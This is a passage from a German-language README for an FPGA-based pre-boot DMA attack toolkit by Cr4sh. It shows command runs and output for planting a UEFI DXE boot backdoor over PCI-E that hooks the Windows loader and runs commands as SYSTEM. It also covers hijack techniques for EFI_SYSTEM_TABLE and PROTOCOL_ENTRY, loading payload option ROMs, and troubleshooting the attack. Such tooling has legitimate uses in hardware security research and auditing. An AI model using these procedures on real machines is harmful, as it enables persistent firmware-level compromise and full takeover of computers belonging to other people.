[+] DXE driver was planted, waiting for backdoor init...
[+] DXE driver was executed, you can read its debug messages by running this program with --debug-output option
[+] Waiting for backdoor load...
[+] Winload image was loaded
Image base: 0x0086a000
OslArchTransferToKernel: 0x009c4b20
[+] DONE
[+] Waiting for payload init...
[+] Payload shared memory region is at 0x00200000
[+] Executing command: whoami
[+] Process exit code: 0x00000000
nt authority\system
Jetzt, wenn Boot Backdoor mit seiner Payload erfolgreich geladen wurde, kannst du uefi_backdoor_boot_shell.py mit der Option --attach ausführen, um mit der aktuell laufenden Instanz der DMA-Shell zu kommunizieren:```
$ ./uefi_backdoor_boot_shell.py --attach --command "hostname"
[+] PCI-E link with target is up
[+] Device address is 01:00.0
[+] Payload shared memory region is at 0x00200000
[+] Executing command: hostname
[+] Process exit code: 0x00000000
DESKTOP-E52IJJ8
Außerdem können Sie die Option `--debug-output` verwenden, um Debug-Meldungen des Boot Backdoor UEFI DXE-Treibers zu erhalten und sie in die Standardausgabe (stdout) auszugeben:```
$ ./uefi_backdoor_boot_shell.py --debug-output
[+] PCI-E link with target is up
[+] Debug output buffer address is 0x79da2000
DmaBackdoorBoot.c(630) : ******************************
DmaBackdoorBoot.c(631) :
DmaBackdoorBoot.c(632) : Boot backdoor loaded!
DmaBackdoorBoot.c(633) :
DmaBackdoorBoot.c(634) : ******************************
DmaBackdoorBoot.c(668) : Image address is 0xc0000
DmaBackdoorBoot.c(711) : Payload is not present
DmaBackdoorBoot.c(276) : BackdoorImageRealocate(): image size = 0xf500
DmaBackdoorBoot.c(722) : Resident code base address is 0x79d8c000
DmaBackdoorBoot.c(430) : Protocol notify handler is at 0x79d8c364
DmaBackdoorBoot.c(455) : BackdoorEntryResident()
DmaBackdoorBoot.c(464) : ExitBootServices() hook was set, handler = 0x79d8ded7
DmaBackdoorBoot.c(358) : new_ExitBootServices() called
Winload.c(419) : WinloadHook(): winload image is at 0x86a000
Winload.c(507) : winload!HvlpBelow1MbPage is at 0xa037c8
Winload.c(508) : winload!HvlpBelow1MbPageAllocated is at 0xa037b9
Winload.c(587) : winload!OslArchTransferToKernel() is at 0x9c4b20
Um weitere Informationen über Anwendungsfälle und Funktionen von Boot Backdoor zu erhalten, lesen Sie dessen README-Datei mit detaillierten Informationen.
Die Python-Programme uefi_backdoor_simple.py, uefi_backdoor_hv.py, uefi_backdoor_boot.py und uefi_backdoor_boot_shell.py unterstützen zwei verschiedene Möglichkeiten, die Ausführung an das injizierte UEFI-DXE-Treiberimage zu übergeben:
EFI_SYSTEM_TABLE-Hijack − durchsucht den Systemspeicher abwärts von der physikalischen Adresse 0xf0000000 bis 0 mit einer Schrittweite von 0x10000 Bytes, um die EFI-Systemtabelle anhand ihrer Signatur zu finden und die Funktion LocateProtocol() zu patchen. Zum Überschreiben der Speicherscan-Optionen können Sie die Umgebungsvariablen SCAN_FROM und SCAN_STEP verwenden.
PROTOCOL_ENTRY-Hijack − durchsucht den Systemspeicher aufwärts von der physikalischen Adresse 0x76000000 bis 0xa0000000 mit einer Schrittweite von 0x1000 Bytes, um die EFI_CPU_IO2_PROTOCOL-Struktur des CPU-I/O-2-Protokolls zu finden und eine seiner Funktionen zu patchen. Zum Überschreiben der Speicherscan-Optionen können Sie die Umgebungsvariablen SCAN_FROM, SCAN_TO und SCAN_STEP verwenden.
Standardmäßig verwenden alle vier Programme die EFI-Systemtabellen-Hijack-Methode. Um stattdessen die Protokolleintragsmethode zu verwenden, können Sie dem entsprechenden Programm die Befehlszeilenoption --inj-prot übergeben. Um den für den Angriff erforderlichen Zeitaufwand zu reduzieren, können Sie die zuvor gefundene Adresse der EFI_SYSTEM_TABLE-Struktur mithilfe der Option --system-table und die Adresse der PROTOCOL_ENTRY-Struktur mithilfe der Option --prot-entry angeben. Darüber hinaus verfügen alle vier Python-Programme über die Befehlszeilenoption --test; diese Option wird verwendet, um den Speicherscan durchzuführen und die erforderlichen Strukturadressen zu finden, ohne einen tatsächlichen Hijack des Ausführungsflusses durchzuführen. Während des ersten Bootvorgangs können Sie also das gewünschte Programm mit der Option --test ausführen, um die benötigte Adresse zu finden, und während des zweiten Bootvorgangs können Sie dasselbe Programm mit der Option --system-table oder --prot-entry ausführen, um diese Adresse anzugeben.
Bei der Entwicklung von Schadcode für Pre-Boot-DMA-Angriffe ist es wichtig, Informationen über die Ausführungsumgebung der UEFI-DXE-Phase zu haben. Um solche Informationen zu sammeln, können Sie den Zielcomputer einschalten, in das BIOS-Setup-Menü oder das Bootoptionsmenü wechseln, um das Laden des Betriebssystems anzuhalten, und das Programm uefi.py ohne Argumente ausführen. Dieses Programm durchsucht den physischen Speicher des Zielcomputers und gibt verschiedene Informationen über vorhandene UEFI-DXE-Protokolle und -Schnittstellen, geladene UEFI-Treiber, UEFI-Deskriptortabellen und ACPI-Tabellen aus. Hier sehen Sie ein Beispiel für Informationen, die vom Programm uefi.py gewonnen wurden, während der AAEON UP Squared Mini-PC als Angriffsziel verwendet wurde.
Das bereitgestellte Bitstream kann eine im Onboard-Linearflash-Speicher des SP605 gespeicherte PCI-E-Option-ROM emulieren. Obwohl moderne Plattformen Option-ROM-Angriffe abmildern (Thunderstrike), könnte diese Funktion dennoch für Sicherheitsaudits oder Prototyping-Zwecke nützlich sein.
Sie können Option-ROM-Images mit dem Python-Programm pcie_rom_ctl.py verwalten.
Löschen des Inhalts der Option-ROM:```
$ ./pcie_rom_ctl.py --erase
[+] Opening PCI-E device...
[+] Enabling resident mode...
[+] Erasing option ROM...
[+] Done
Laden des bereitgestellten UEFI-Option-ROM-Beispiels in das Board:```
$ ./pcie_rom_ctl.py --load payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64_10ee_1337.rom
[+] Opening PCI-E device...
[+] Enabling resident mode...
[+] Erasing option ROM...
[+] Loading 5120 bytes of option ROM...
[+] Done
Auch gibt es eine Option, den Zugriff auf den Option-ROM-Speicher in die Debug-UART des SP605-Boards zu protokollieren. Um diese Option zu aktivieren oder zu deaktivieren, verwenden Sie die Parameter --log-on und --log-off des Programms ./pcie_rom_ctl.py.
Um den korrekten Betrieb der Option-ROM-Unterstützung unter Linux zu überprüfen, können Sie Folgendes tun.
Suchen Sie zuerst die Bus-Geräte-Funktions-Adresse des SP605-PCI-E-Geräts:```
01:00.0 Ethernet controller: Xilinx Corporation Device 1337
Dann setzen Sie das Enabled-Bit des Befehlsregisters, damit das Zielsystem alle Speicherzugriffsversuche auf die physischen Speicherbereiche der Option ROM an das PCI-E-Gerät übergibt:```
# echo 1 > /sys/bus/pci/devices/0000\:01\:00.0/enable
# echo 1 > /sys/bus/pci/devices/0000\:01\:00.0/rom
Jetzt können Sie den Inhalt des zuvor geladenen Option-ROM mit Hilfe des dd-Befehls und der entsprechenden Pseudo-Datei von sysfs ausgeben:```
00000000 55 aa 0b 00 f1 0e 00 00 0b 00 64 86 00 00 00 00 |U.........d.....| 00000010 00 00 00 00 00 00 60 00 1c 00 00 00 50 43 49 52 |......`.....PCIR| 00000020 ee 10 37 13 00 00 1c 00 03 00 00 00 0b 00 00 00 |..7.............| 00000030 03 80 00 00 00 00 00 00 ff ff ff ff ff ff ff ff |................| 00000040 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| 00000050 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| 00000060 4d 5a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |MZ..............| 00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000090 00 00 00 00 00 00 00 00 00 00 00 00 b8 00 00 00 |................| 000000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
...
Falls die Option `--log-on` des Programms `pcie_rom_ctl.py` während der Konfiguration angegeben wurde, sehen Sie beim Dump des Options-ROMs die folgenden Meldungen in der Debug-UART-Konsole des SP605-Boards:```
ROM read: size = 2, offset = 0x0
ROM read: size = 2, offset = 0x18
ROM read: size = 4, offset = 0x1C
ROM read: size = 1, offset = 0x31
ROM read: size = 2, offset = 0x2C
ROM read: size = 1, offset = 0x0
ROM read: size = 2, offset = 0x0
ROM read: size = 2, offset = 0x18
ROM read: size = 4, offset = 0x1C
ROM read: size = 1, offset = 0x31
ROM read: size = 2, offset = 0x2C
ROM read: size = 1, offset = 0x1
ROM read: size = 2, offset = 0x0
ROM read: size = 2, offset = 0x18
ROM read: size = 4, offset = 0x1C
ROM read: size = 1, offset = 0x31
ROM read: size = 2, offset = 0x2C
...
PCI Express ist ein sehr komplexer Hochgeschwindigkeitsbus, daher kann eine Menge schiefgehen. Falls der DMA-Angriff in Ihrer Umgebung nicht funktioniert, können Sie die folgenden Punkte prüfen, um das genaue Problem zu ermitteln:
Die DS3-LED leuchtet, wenn die physische PCI-E-Verbindung aktiv ist, und DS4 leuchtet, wenn der Root Complex unserem PCI-E-Endpoint eine Bus-Device-Function-Adresse zugewiesen hat. Wenn DS3 aus ist, deutet das wahrscheinlich auf ein physisches Verbindungsproblem hin − überprüfen Sie Ihre Riser, Kabel usw. Wenn DS3 an ist, aber DS4 aus, bedeutet das, dass Sie Ihr Angriffsziel neu starten oder auf dessen Seite einen erneuten Scan der PCI-E-Geräte erzwingen mussten.
Die DS5-LED leuchtet während eines PCI-E-Bus-Resets; wenn sie dauerhaft leuchtet, liegt ein physisches Verbindungsproblem vor.
Wenn der Root Complex als Antwort auf eine Speicherlese-Anfrage ein Cpl-TLP anstelle eines CplD-TLP sendet, bedeutet das, dass der Speicherzugriff abgelehnt wurde, weil die Adresse ungültig ist oder der IOMMU Zugriffsprüfungen erzwungen hat. Außerdem antwortet ein typischer x86-Rechner auf Speicherlese-Anfragen in bestimmten MMIO-Bereichen des physischen Adressraums möglicherweise überhaupt nicht.
Wenn die Software inkonsistente oder ungültige TLPs vom Root Complex als Antwort auf die Speicherlese-Anfragen empfängt, können Sie versuchen, einen kleineren Wert für die Konstante MEM_RD_TLP_LEN in pcie_lib.py festzulegen, um die Antwortdaten in eine größere Anzahl kleinerer Blöcke aufzuteilen. Es ist auch nützlich, das Programm mit der Umgebungsvariable DEBUG_TLP=1 auszuführen und den Rohdaten-Dump der TX/RX-TLPs zu prüfen.
Installieren Sie Xilinx ISE 13.4, das mit Ihrem SP605-Board geliefert wird, und öffnen Sie die Projektdatei s6_pcie_microblaze.xise.
Generieren Sie die Kerne s6_pcie_v2_4 und fifo_generator_v8_4 neu, die in der Projekthierarchie vorhanden sind.
Klicken Sie in der Projekthierarchie auf die Instanz microblaze_i und führen Sie "Export Hardware Design to SDK With Bitstream" aus.
Wenn der Build abgeschlossen ist, öffnet ISE die Xilinx Software Development Kit IDE; verwenden Sie den Ordner sdk als Workspace.
Erstellen Sie in Ihrem Xilinx-SDK-Projektbaum ein neues Standalone-Board-Support-Paket und wählen Sie in der BSP-Konfiguration die Bibliotheken lwIP und xilflash aus.
Importieren Sie die Projekte sdk/srec_bootloader_0 und sdk/main_0 in den Projektbaum und führen Sie den Build aus.
Führen Sie make bitstream && make srec in der Xilinx-ISE-Eingabeaufforderung aus, um die benötigten Ausgabedateien zu erzeugen.
Dmytro Oleksiuk (aka Cr4sh)